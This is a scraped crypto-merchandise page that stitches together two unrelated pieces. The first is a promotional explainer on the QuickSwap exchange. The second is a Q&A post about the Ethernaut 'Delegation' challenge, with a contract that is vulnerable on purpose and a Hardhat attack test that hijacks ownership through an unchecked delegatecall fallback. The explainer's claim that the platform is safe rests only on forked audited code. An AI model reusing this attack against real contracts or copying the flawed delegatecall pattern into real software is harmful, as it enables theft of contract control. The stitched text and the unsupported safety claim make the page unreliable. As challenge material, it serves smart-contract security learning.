CryptoFly.us | CRYPTOCURRENCY BITCOIN SHIRTS CLOTHING APPAREL HATS

CRYPTO NEWS

Discover The Wonderful Features Of QuickSwap!

The decentralized finance sector is now awash with various Automated Market Markers. Mirroring Uniswap, protocols like QuickSwap are changing the standard across the industry. QuickSwap, a polygon-based platform, provides the same functionality as Uniswap. Despite Quickswap being a fork of Uniswap, most users now prefer to use the platform. In this article, we will be looking at Quickswap and a detailed guide on using the platform.

What Is QuickSwap?

QuickSwap is a decentralized exchange that is based on the Polygon blockchain. It makes use of the AMM model to help users in their exchange activities. The decentralized exchange allows its traders to make their trades directly from liquidity pools. This is because it does not have an order book. Traders who choose to trade Ethereum based tokens can move them to the blockchain using one of QuickSwap’s liquidity pools.

QuickSwap allows users to start their liquidity pools by providing liquidity and earning rewards. To users who have often used Uniswap in the past, QuickSwap takes a look and feel of the decentralized exchange. Just like most DEXs, traders can carry out their activities without being mandated to complete KYC. The platform is safe, considering that its developers use the audited code from Uniswap.

What Is Polygon?

Polygon is an infrastructure that allows developers to create networks that are compatible with Ethereum. With its Layer-2 ecosystem, the blockchains can interact with one another. The Polygon Network uses the Proof of stake Consensus and acts as a side chain for QuickSwap. Polygon is one of the most popular networks in the DeFi sector. This is because its transaction fees are cheaper and is fast in terms of scaling. Anyone willing to carry out trades will be required to pay transaction fees in MATIC tokens.

How Does QuickSwap Work?

QuickSwap creates liquidity pools using the Automated Maker Model. With this, users on the platform will be able to swap their tokens. Instead of traders acting as makers or takers, they are mandated to use a smart contract. Anybody who wishes to create a liquidity pool must deposit a pair of coins with the same value. The liquidity providers are given tokens that act as their share in the pool.

If a trader decides to reclaim his tokens, the platform burns the tokens in the liquidity pools. To make more interest, a user might choose to add a third-party app to allow yield farming. The AMM model that QuickSwap uses rewards providers of liquidity with 0.3% fees. These fees are shared in relation to how much liquidity a user provides. QuickSwap uses a method called the Constant Product Market Maker to determine the price of the tokens.

How To Access QuickSwap

To access the QuickSwap platform, you can use your desktop computer or mobile phone. Using whatever browser and device you wish, you will need to log on to the platform’s homepage at quickswap.exchange.

After heading to the platform, the next step will be for you to connect a wallet. You can use various trustworthy extension wallets on your desktop and apps on your mobile. One important thing is to ensure that the wallet you choose must support the Polygon Network.

In the next step, you will be required to hit the swap button to exchange whatever tokens you want. You will have a list of tokens to swap from and a list that you can receive. Once you have chosen the tokens you wish to; you can now click the swap tab.

After hitting the swap tab, a prompt comes up, asking you to confirm your choice, and the token you swap to will be available in your wallet. Furthermore, you can buy the QUICK token from various exchanges across the crypto market.

Conclusion

QuickSwap is another platform that provides decentralized trading options for traders in the sector. This is because you can use the platform to carry out cheap and fast transactions. Another plus is that you can use the platform to trade ERC-20 tokens without congestion or high transaction fees from Ethereum. Even though Ethereum has promised to fix that in the ETH 2.0 upgrade, traders can still use QuickSwap to their advantage.

Quickswap
Quickswap© Cryptoticker

The post Discover The Wonderful Features Of QuickSwap! appeared first on CryptoTicker.

Solidity 0.8: delegatecall does not mutate contract’s storage

I have this problem solving Ethernaut challenge Delegation: The following is the original contract: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate internal delegate; constructor(address _delegateAddress)::Listen

I have this problem solving Ethernaut challenge Delegation:

The following is the original contract:

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol";  contract Delegate {     address public owner;      constructor(address _owner) {         owner = _owner;     }      function pwn() public {         owner = msg.sender;     } }  contract Delegation {     address public owner;     Delegate internal delegate;      constructor(address _delegateAddress) {         delegate = Delegate(_delegateAddress);         owner = msg.sender;     }      fallback() external {         (bool result, ) = address(delegate).delegatecall(msg.data);         // require(result == true);         if (result) {             this;         }     } }  

According to this walkthrough you can mutate original contract’s storage by calling delegatecall.

I wrote my attack in hardhat. Here is the code:

import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; import { expect } from "chai"; import { ethers } from "hardhat"; import { Delegate, Delegation } from "../../typechain";  describe("DelegationAttack", function () {   let DelegationToken;   let DelegateToken;   let delegation: Delegation;   let delegate: Delegate;   let owner: SignerWithAddress;   let attacker: SignerWithAddress;    beforeEach(async function () {     DelegateToken = await ethers.getContractFactory("Delegate");     DelegationToken = await ethers.getContractFactory("Delegation");     [owner, attacker] = await ethers.getSigners();     delegate = await DelegateToken.connect(owner).deploy(owner.address);     delegation = await DelegationToken.connect(owner).deploy(delegate.address);   });    describe("attack", function () {     it("should transfer ownership", async function () {       const ABI = ["function pwn() public"];       const iface = new ethers.utils.Interface(ABI);       await attacker.sendTransaction({         from: attacker.address,         to: delegation.address,         data: iface.encodeFunctionData("pwn"),       });        const delegatedOwner = await delegation.owner();       expect(delegatedOwner).to.equals(attacker.address);     });   }); });  

When I run the test, I get this error:

AssertionError: expected ‘0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266’ to equal ‘0x70997970C51812dc3A010C7d01b50e0d17dc79C8’

Which means, owner variable has not been changed.

But strangely, if I uncomment this line:

// require(result == true); 

then I got the test passed.

What is the reason?

Discover The Wonderful Features Of QuickSwap!

Shopping cart
There are no products in the cart!
Continue shopping
0